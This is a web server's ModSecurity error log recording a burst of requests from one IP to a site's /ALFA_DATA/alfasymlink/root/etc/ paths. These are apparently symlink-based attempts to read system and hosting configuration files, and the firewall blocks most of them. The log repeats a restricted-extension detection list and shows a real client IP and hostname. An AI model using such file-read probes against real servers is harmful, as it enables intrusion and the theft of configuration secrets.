[Sun Oct 25 14:29:44.015153 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:65471] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/udev/udev.conf"] [unique_id "at5KmKi7oKzIlJx03ipNZgAAAAE"]
[Sun Oct 25 14:29:44.063123 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:65471] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/udev/udev.conf"] [unique_id "at5KmKi7oKzIlJx03ipNZgAAAAE"]
[Sun Oct 25 14:29:44.063463 2026] [security2:error] [pid 2880748:tid 2880748] [client 76.135.135.39:65471] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/udev/udev.conf"] [unique_id "at5KmKi7oKzIlJx03ipNZgAAAAE"]
[Sun Oct 25 14:29:44.044404 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:65464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/tuned/tuned-main.conf"] [unique_id "at5KmBH5LAgtrvBIlo326gAAABU"]
[Sun Oct 25 14:29:44.064300 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:65464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/tuned/tuned-main.conf"] [unique_id "at5KmBH5LAgtrvBIlo326gAAABU"]
[Sun Oct 25 14:29:44.104959 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:65476] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.d/id_resolver.conf"] [unique_id "at5KmOKLKrCYLMnXfck7iQAAAAg"]
[Sun Oct 25 14:29:44.105379 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:65476] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.d/id_resolver.conf"] [unique_id "at5KmOKLKrCYLMnXfck7iQAAAAg"]
[Sun Oct 25 14:29:44.105762 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:65476] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.d/id_resolver.conf"] [unique_id "at5KmOKLKrCYLMnXfck7iQAAAAg"]
[Sun Oct 25 14:29:44.129543 2026] [security2:error] [pid 2880766:tid 2880766] [client 76.135.135.39:65480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/rear/local.conf"] [unique_id "at5KmEqRyDR58ONJ8xcK_AAAAAs"]
[Sun Oct 25 14:29:44.129878 2026] [security2:error] [pid 2880766:tid 2880766] [client 76.135.135.39:65480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/rear/local.conf"] [unique_id "at5KmEqRyDR58ONJ8xcK_AAAAAs"]
[Sun Oct 25 14:29:44.130183 2026] [security2:error] [pid 2880766:tid 2880766] [client 76.135.135.39:65480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/rear/local.conf"] [unique_id "at5KmEqRyDR58ONJ8xcK_AAAAAs"]
[Sun Oct 25 14:29:44.134473 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:65477] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "at5KmC-CzQxJ5MlF2DkrzgAAAA0"]
[Sun Oct 25 14:29:44.134788 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:65477] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "at5KmC-CzQxJ5MlF2DkrzgAAAA0"]
[Sun Oct 25 14:29:44.135074 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:65477] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/resolv.conf"] [unique_id "at5KmC-CzQxJ5MlF2DkrzgAAAA0"]
[Sun Oct 25 14:29:44.136786 2026] [security2:error] [pid 2880768:tid 2880768] [client 76.135.135.39:65486] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/rear/os.conf"] [unique_id "at5KmMAxLusXGhv5UJnAtgAAABE"]
[Sun Oct 25 14:29:44.137051 2026] [security2:error] [pid 2880768:tid 2880768] [client 76.135.135.39:65486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/rear/os.conf"] [unique_id "at5KmMAxLusXGhv5UJnAtgAAABE"]
[Sun Oct 25 14:29:44.137346 2026] [security2:error] [pid 2880768:tid 2880768] [client 76.135.135.39:65486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/rear/os.conf"] [unique_id "at5KmMAxLusXGhv5UJnAtgAAABE"]
[Sun Oct 25 14:29:44.143317 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:65488] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.conf"] [unique_id "at5KmAl_YuTmdn3pCPOXYwAAAAk"]
[Sun Oct 25 14:29:44.143631 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:65488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.conf"] [unique_id "at5KmAl_YuTmdn3pCPOXYwAAAAk"]
[Sun Oct 25 14:29:44.143905 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:65488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.conf"] [unique_id "at5KmAl_YuTmdn3pCPOXYwAAAAk"]
[Sun Oct 25 14:29:44.145893 2026] [security2:error] [pid 2880770:tid 2880770] [client 76.135.135.39:65491] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vsftpd/vsftpd.conf"] [unique_id "at5KmHD29ZT8miQhzG7EXgAAABM"]
[Sun Oct 25 14:29:44.146161 2026] [security2:error] [pid 2880770:tid 2880770] [client 76.135.135.39:65491] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vsftpd/vsftpd.conf"] [unique_id "at5KmHD29ZT8miQhzG7EXgAAABM"]
[Sun Oct 25 14:29:44.146439 2026] [security2:error] [pid 2880770:tid 2880770] [client 76.135.135.39:65491] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vsftpd/vsftpd.conf"] [unique_id "at5KmHD29ZT8miQhzG7EXgAAABM"]
[Sun Oct 25 14:29:44.159133 2026] [security2:error] [pid 2880772:tid 2880772] [client 76.135.135.39:65495] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vsftpd/vsftpd_conf_migrate.sh"] [unique_id "at5KmNHQdSivmVeRzcxX-QAAABc"]
[Sun Oct 25 14:29:44.159190 2026] [security2:error] [pid 2880772:tid 2880772] [client 76.135.135.39:65495] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vsftpd/vsftpd_conf_migrate.sh"] [unique_id "at5KmNHQdSivmVeRzcxX-QAAABc"]
[Sun Oct 25 14:29:44.180259 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:65494] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vconsole.conf"] [unique_id "at5KmCpTNKVnE1oMPCDtMAAAAAA"]
[Sun Oct 25 14:29:44.180550 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:65494] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vconsole.conf"] [unique_id "at5KmCpTNKVnE1oMPCDtMAAAAAA"]
[Sun Oct 25 14:29:44.180791 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:65494] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/vconsole.conf"] [unique_id "at5KmCpTNKVnE1oMPCDtMAAAAAA"]
[Sun Oct 25 14:29:44.187331 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:65498] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/wwwacct.conf"] [unique_id "at5KmGT7SK5esjpOWSjqxAAAABY"]
[Sun Oct 25 14:29:44.187658 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:65498] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/wwwacct.conf"] [unique_id "at5KmGT7SK5esjpOWSjqxAAAABY"]
[Sun Oct 25 14:29:44.187956 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:65498] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/wwwacct.conf"] [unique_id "at5KmGT7SK5esjpOWSjqxAAAABY"]
[Sun Oct 25 14:29:44.190342 2026] [core:error] [pid 2880773:tid 2880773] (13)Permission denied: [client 76.135.135.39:65472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/userdatadomains.json
[Sun Oct 25 14:29:44.192681 2026] [security2:error] [pid 2880769:tid 2880769] [client 76.135.135.39:65503] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum.conf"] [unique_id "at5KmHNQSJj6g_R4pvfwcQAAABI"]
